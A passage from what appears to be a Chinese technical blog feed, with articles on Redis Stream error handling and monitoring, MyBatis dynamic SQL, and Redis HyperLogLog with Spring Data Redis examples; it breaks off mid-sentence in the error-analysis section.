class="title class_">StreamErrorHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 处理pending消息（消费失败的消息）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 60000)</span>  <span class="comment">// 每分钟检查</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handlePendingMessages</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">streamKey</span> <span class="operator">=</span> <span class="string">&quot;orders&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">groupName</span> <span class="operator">=</span> <span class="string">&quot;order-processors&quot;</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取pending消息</span></span><br><span class="line">        <span class="type">PendingMessagesSummary</span> <span class="variable">summary</span> <span class="operator">=</span> redis.opsForStream().pending(streamKey, groupName);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (summary.getTotalPendingMessages() &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="comment">// 获取详细信息</span></span><br><span class="line">            Range&lt;String&gt; range = Range.closed(<span class="string">&quot;-&quot;</span>, <span class="string">&quot;+&quot;</span>);</span><br><span class="line">            <span class="type">PendingMessages</span> <span class="variable">pending</span> <span class="operator">=</span> redis.opsForStream().pending(</span><br><span class="line">                streamKey, groupName, </span><br><span class="line">                Consumer.from(groupName, <span class="string">&quot;consumer-1&quot;</span>),</span><br><span class="line">                range, <span class="number">100</span></span><br><span class="line">            );</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">for</span> (PendingMessage message : pending) &#123;</span><br><span class="line">                <span class="comment">// 如果消息被多次消费失败，可以：</span></span><br><span class="line">                <span class="comment">// 1. 转移到死信队列</span></span><br><span class="line">                <span class="comment">// 2. 记录日志人工处理</span></span><br><span class="line">                <span class="comment">// 3. 删除消息（不推荐）</span></span><br><span class="line">                </span><br><span class="line">                <span class="keyword">if</span> (message.getTotalDeliveryCount() &gt; <span class="number">3</span>) &#123;</span><br><span class="line">                    <span class="comment">// 超过3次，转移到死信队列</span></span><br><span class="line">                    redis.opsForStream().add(<span class="string">&quot;orders:dlq&quot;</span>, </span><br><span class="line">                        Collections.singletonMap(<span class="string">&quot;originalId&quot;</span>, message.getIdAsString()));</span><br><span class="line">                    </span><br><span class="line">                    <span class="comment">// 确认原消息</span></span><br><span class="line">                    redis.opsForStream().acknowledge(streamKey, groupName, message.getIdAsString());</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-监控"><a href="#6-3-监控" class="headerlink" title="6.3 监控"></a>6.3 监控</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看Stream长度</span></span><br><span class="line">XLEN mystream</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看消费者组状态</span></span><br><span class="line">XINFO GROUPS mystream</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看pending消息数</span></span><br><span class="line">XPENDING mystream mygroup</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看消费者状态</span></span><br><span class="line">XINFO CONSUMERS mystream mygroup</span><br></pre></td></tr></table></figure><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><table><thead><tr><th>场景</th><th>推荐方案</th></tr></thead><tbody><tr><td>简单队列</td><td>List + BLPOP</td></tr><tr><td>复杂消息队列</td><td>Stream + 消费者组</td></tr><tr><td>需要ACK确认</td><td>Stream</td></tr><tr><td>需要消息回溯</td><td>Stream</td></tr><tr><td>日志收集</td><td>Stream</td></tr><tr><td>事件驱动架构</td><td>Stream + 多消费者组</td></tr></tbody></table><p>Stream的核心价值：</p><ol><li><strong>消息持久化</strong>：不丢失消息</li><li><strong>消费者组</strong>：负载均衡和广播</li><li><strong>消息确认</strong>：可靠消费</li><li><strong>消息回溯</strong>：可重新消费历史消息</li></ol><p>使用建议：</p><ol><li>使用MAXLEN控制Stream大小</li><li>及时处理pending消息</li><li>合理设置消费者组数量</li><li>监控Stream长度和消费者延迟</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 批量插入和性能优化</title>
      <link href="//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/"/>
      <url>//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-批量插入和性能优化"><a href="#MyBatis-批量插入和性能优化" class="headerlink" title="MyBatis 批量插入和性能优化"></a>MyBatis 批量插入和性能优化</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis HyperLogLog基数统计</title>
      <link href="//redis-hyperloglog-cardinality/"/>
      <url>//redis-hyperloglog-cardinality/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-HyperLogLog基数统计"><a href="#Redis-HyperLogLog基数统计" class="headerlink" title="Redis HyperLogLog基数统计"></a>Redis HyperLogLog基数统计</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、HyperLogLog原理"><a href="#一、HyperLogLog原理" class="headerlink" title="一、HyperLogLog原理"></a>一、HyperLogLog原理</h2><p>#</p><h2 id="1-1-问题背景"><a href="#1-1-问题背景" class="headerlink" title="1.1 问题背景"></a>1.1 问题背景</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">场景：统计网站UV（独立访客数）</span><br><span class="line"></span><br><span class="line">传统方案：使用Set存储每个用户ID</span><br><span class="line">- 100万UV → 约100MB内存</span><br><span class="line">- 1亿UV → 约10GB内存</span><br><span class="line"></span><br><span class="line">HyperLogLog方案：</span><br><span class="line">- 100万UV → 12KB内存</span><br><span class="line">- 1亿UV → 12KB内存</span><br><span class="line">- 100亿UV → 12KB内存</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-核心思想"><a href="#1-2-核心思想" class="headerlink" title="1.2 核心思想"></a>1.2 核心思想</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">HyperLogLog基于概率统计：</span><br><span class="line"></span><br><span class="line">1. 对每个元素计算哈希值</span><br><span class="line">2. 观察哈希值二进制表示中前导0的个数</span><br><span class="line">3. 前导0越多，说明需要更多不同的元素才能出现</span><br><span class="line"></span><br><span class="line">示例：</span><br><span class="line">哈希值 h(x) 的二进制表示：</span><br><span class="line">- h(A) = 00101101...  → 前导0个数 = 2</span><br><span class="line">- h(B) = 00001011...  → 前导0个数 = 4</span><br><span class="line">- h(C) = 00000001...  → 前导0个数 = 6</span><br><span class="line"></span><br><span class="line">如果发现最大前导0个数为k，</span><br><span class="line">则估算元素数量约为 2^k</span><br><span class="line"></span><br><span class="line">上例中最大k=6，估算数量 ≈ 2^6 = 64</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-3-分桶平均"><a href="#1-3-分桶平均" class="headerlink" title="1.3 分桶平均"></a>1.3 分桶平均</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">为减少偶然性，HyperLogLog使用多个桶：</span><br><span class="line"></span><br><span class="line">1. 将哈希值分成两部分：</span><br><span class="line">   - 前b位：决定放入哪个桶（2^b个桶）</span><br><span class="line">   - 剩余位：计算前导0个数</span><br><span class="line"></span><br><span class="line">2. 每个桶记录看到的最大前导0个数</span><br><span class="line"></span><br><span class="line">3. 最终估算使用调和平均数：</span><br><span class="line">   E = α_m * m^2 / Σ(2^(-M[j]))</span><br><span class="line">   </span><br><span class="line">   其中：</span><br><span class="line">   m = 桶数量（通常为2^14 = 16384）</span><br><span class="line">   M[j] = 第j个桶的最大前导0数</span><br><span class="line">   α_m = 偏差修正系数</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-4-内存占用"><a href="#1-4-内存占用" class="headerlink" title="1.4 内存占用"></a>1.4 内存占用</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis HyperLogLog使用16384个桶（2^14）</span><br><span class="line">每个桶需要6bit存储最大前导0数（最大64个0）</span><br><span class="line"></span><br><span class="line">总内存 = 16384 × 6bit = 98304bit = 12288字节 = 12KB</span><br><span class="line"></span><br><span class="line">无论统计多少元素，内存固定12KB！</span><br></pre></td></tr></table></figure><h2 id="二、Redis-HyperLogLog命令"><a href="#二、Redis-HyperLogLog命令" class="headerlink" title="二、Redis HyperLogLog命令"></a>二、Redis HyperLogLog命令</h2><p>#</p><h2 id="2-1-基本命令"><a href="#2-1-基本命令" class="headerlink" title="2.1 基本命令"></a>2.1 基本命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 添加元素</span></span><br><span class="line">PFADD page:uv:20240101 user1001 user1002 user1003</span><br><span class="line"><span class="comment"># (integer) 1  # 结构发生变化返回1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 批量添加</span></span><br><span class="line">PFADD page:uv:20240101 user1004 user1005</span><br><span class="line"></span><br><span class="line"><span class="comment"># 估算基数</span></span><br><span class="line">PFCOUNT page:uv:20240101</span><br><span class="line"><span class="comment"># (integer) 5</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 合并多个HyperLogLog</span></span><br><span class="line">PFMERGE page:uv:week1 page:uv:20240101 page:uv:20240102 page:uv:20240103</span><br><span class="line">PFCOUNT page:uv:week1</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-实际示例"><a href="#2-2-实际示例" class="headerlink" title="2.2 实际示例"></a>2.2 实际示例</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 添加10000个元素</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> &#123;1..10000&#125;; <span class="keyword">do</span></span><br><span class="line">    redis-cli PFADD hll_test <span class="string">&quot;user_<span class="variable">$i</span>&quot;</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看内存占用</span></span><br><span class="line">redis-cli DEBUG OBJECT hll_test</span><br><span class="line"><span class="comment"># serializedlength:12353  # 约12KB</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看估算值</span></span><br><span class="line">redis-cli PFCOUNT hll_test</span><br><span class="line"><span class="comment"># (integer) 9977  # 误差约0.23%</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加100万个元素</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> &#123;10001..1000000&#125;; <span class="keyword">do</span></span><br><span class="line">    redis-cli PFADD hll_test <span class="string">&quot;user_<span class="variable">$i</span>&quot;</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 内存仍然约12KB</span></span><br><span class="line">redis-cli DEBUG OBJECT hll_test</span><br><span class="line"><span class="comment"># serializedlength:12353</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看估算值</span></span><br><span class="line">redis-cli PFCOUNT hll_test</span><br><span class="line"><span class="comment"># (integer) 998263  # 误差约0.17%</span></span><br></pre></td></tr></table></figure><h2 id="三、Java中使用HyperLogLog"><a href="#三、Java中使用HyperLogLog" class="headerlink" title="三、Java中使用HyperLogLog"></a>三、Java中使用HyperLogLog</h2><p>#</p><h2 id="3-1-Spring-Data-Redis"><a href="#3-1-Spring-Data-Redis" class="headerlink" title="3.1 Spring Data Redis"></a>3.1 Spring Data Redis</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HyperLogLogService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 添加访问记录</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">addVisit</span><span class="params">(String key, String... userIds)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForHyperLogLog().add(key, userIds);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取UV数</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getUV</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForHyperLogLog().size(key);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 合并多个日期的UV</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">mergeUV</span><span class="params">(String destinationKey, String... sourceKeys)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForHyperLogLog().union(destinationKey, sourceKeys);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 删除HyperLogLog</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">deleteUV</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        redis.delete(key);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-UV统计应用"><a href="#3-2-UV统计应用" class="headerlink" title="3.2 UV统计应用"></a>3.2 UV统计应用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UVStatisticsService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> HyperLogLogService hyperLogLogService;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 记录页面访问</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">recordPageView</span><span class="params">(Long userId, String page)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;uv:page:&quot;</span> + page + <span class="string">&quot;:&quot;</span> + today;</span><br><span class="line">        </span><br><span class="line">        hyperLogLogService.addVisit(key, String.valueOf(userId));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取页面今日UV</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getTodayPageUV</span><span class="params">(String page)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;uv:page:&quot;</span> + page + <span class="string">&quot;:&quot;</span> + today;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> hyperLogLogService.getUV(key);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取页面本周UV</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getWeekPageUV</span><span class="params">(String page)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line">        String[] dayKeys = <span class="keyword">new</span> <span class="title class_">String</span>[<span class="number">7</span>];</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">7</span>; i++) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">day</span> <span class="operator">=</span> today.minusDays(i).format(DateTimeFormatter.BASIC_ISO_DATE);</span><br><span class="line">            dayKeys[i] = <span class="string">&quot;uv:page:&quot;</span> + page + <span class="string">&quot;:&quot;</span> + day;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">weekKey</span> <span class="operator">=</span> <span class="string">&quot;uv:page:&quot;</span> + page + <span class="string">&quot;:week:&quot;</span> + today;</span><br><span class="line">        <span class="keyword">return</span> hyperLogLogService.mergeUV(weekKey, dayKeys);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取页面本月UV</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getMonthPageUV</span><span class="params">(String page)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line">        <span class="type">String</span> <span class="variable">month</span> <span class="operator">=</span> today.format(DateTimeFormatter.ofPattern(<span class="string">&quot;yyyyMM&quot;</span>));</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取当月所有天的key</span></span><br><span class="line">        List&lt;String&gt; dayKeys = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt;= today.getDayOfMonth(); i++) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">day</span> <span class="operator">=</span> String.format(<span class="string">&quot;%s%02d&quot;</span>, month, i);</span><br><span class="line">            dayKeys.add(<span class="string">&quot;uv:page:&quot;</span> + page + <span class="string">&quot;:&quot;</span> + day);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">monthKey</span> <span class="operator">=</span> <span class="string">&quot;uv:page:&quot;</span> + page + <span class="string">&quot;:month:&quot;</span> + month;</span><br><span class="line">        <span class="keyword">return</span> hyperLogLogService.mergeUV(monthKey, dayKeys.toArray(<span class="keyword">new</span> <span class="title class_">String</span>[<span class="number">0</span>]));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-搜索去重统计"><a href="#3-3-搜索去重统计" class="headerlink" title="3.3 搜索去重统计"></a>3.3 搜索去重统计</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SearchStatisticsService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> HyperLogLogService hyperLogLogService;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 记录搜索关键词</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">recordSearch</span><span class="params">(String keyword, Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// 记录总搜索UV</span></span><br><span class="line">        hyperLogLogService.addVisit(<span class="string">&quot;search:uv:total&quot;</span>, String.valueOf(userId));</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 记录关键词搜索UV</span></span><br><span class="line">        hyperLogLogService.addVisit(<span class="string">&quot;search:uv:&quot;</span> + keyword, String.valueOf(userId));</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 记录今日搜索UV</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);</span><br><span class="line">        hyperLogLogService.addVisit(<span class="string">&quot;search:uv:daily:&quot;</span> + today, String.valueOf(userId));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取搜索关键词的独立用户数</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getKeywordUV</span><span class="params">(String keyword)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> hyperLogLogService.getUV(<span class="string">&quot;search:uv:&quot;</span> + keyword);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取搜索关键词的热门程度排名</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;KeywordUV&gt; <span class="title function_">getTopKeywords</span><span class="params">(List&lt;String&gt; keywords)</span> &#123;</span><br><span class="line">        List&lt;KeywordUV&gt; result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (String keyword : keywords) &#123;</span><br><span class="line">            <span class="type">Long</span> <span class="variable">uv</span> <span class="operator">=</span> hyperLogLogService.getUV(<span class="string">&quot;search:uv:&quot;</span> + keyword);</span><br><span class="line">            result.add(<span class="keyword">new</span> <span class="title class_">KeywordUV</span>(keyword, uv));</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        result.sort((a, b) -&gt; Long.compare(b.getUv(), a.getUv()));</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-广告曝光去重"><a href="#3-4-广告曝光去重" class="headerlink" title="3.4 广告曝光去重"></a>3.4 广告曝光去重</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AdStatisticsService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> HyperLogLogService hyperLogLogService;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 记录广告曝光</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">recordAdExposure</span><span class="params">(String adId, Long userId, String deviceId)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 按用户ID去重</span></span><br><span class="line">        hyperLogLogService.addVisit(<span class="string">&quot;ad:uv:user:&quot;</span> + adId + <span class="string">&quot;:&quot;</span> + today, String.valueOf(userId));</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 按设备ID去重</span></span><br><span class="line">        hyperLogLogService.addVisit(<span class="string">&quot;ad:uv:device:&quot;</span> + adId + <span class="string">&quot;:&quot;</span> + today, deviceId);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取广告日曝光UV</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getAdDailyUV</span><span class="params">(String adId, String date)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> hyperLogLogService.getUV(<span class="string">&quot;ad:uv:user:&quot;</span> + adId + <span class="string">&quot;:&quot;</span> + date);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取广告总曝光UV</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getAdTotalUV</span><span class="params">(String adId)</span> &#123;</span><br><span class="line">        <span class="comment">// 合并所有日期的数据</span></span><br><span class="line">        Set&lt;String&gt; keys = redis.keys(<span class="string">&quot;ad:uv:user:&quot;</span> + adId + <span class="string">&quot;:*&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (keys == <span class="literal">null</span> || keys.isEmpty()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0L</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> hyperLogLogService.mergeUV(<span class="string">&quot;ad:uv:user:&quot;</span> + adId + <span class="string">&quot;:total&quot;</span>, </span><br><span class="line">            keys.toArray(<span class="keyword">new</span> <span class="title class_">String</span>[<span class="number">0</span>]));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、误差分析"><a href="#四、误差分析" class="headerlink" title="四、误差分析"></a>四、误差分析</h2><p>#</p><h2 id="4-1-误差特性"><a href="#4-1-误差特性" class="headerlink" title="4.1 误差特性"></a>4.1 误差特性</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">HyperLogLog的标准误差：约0.81%</span><br><span class="line"></span><br><span class="line">这意味着：</span><br><span class="line">- 真实值100万，估算值可能在99.19万~100.81万之间</span><br><span class="line">- 真实值1亿，估算值可能在9919万~1.0081亿之间</span><br><span class="line"></span><br><span class="line">误差特性：</span><br><span class="line">- 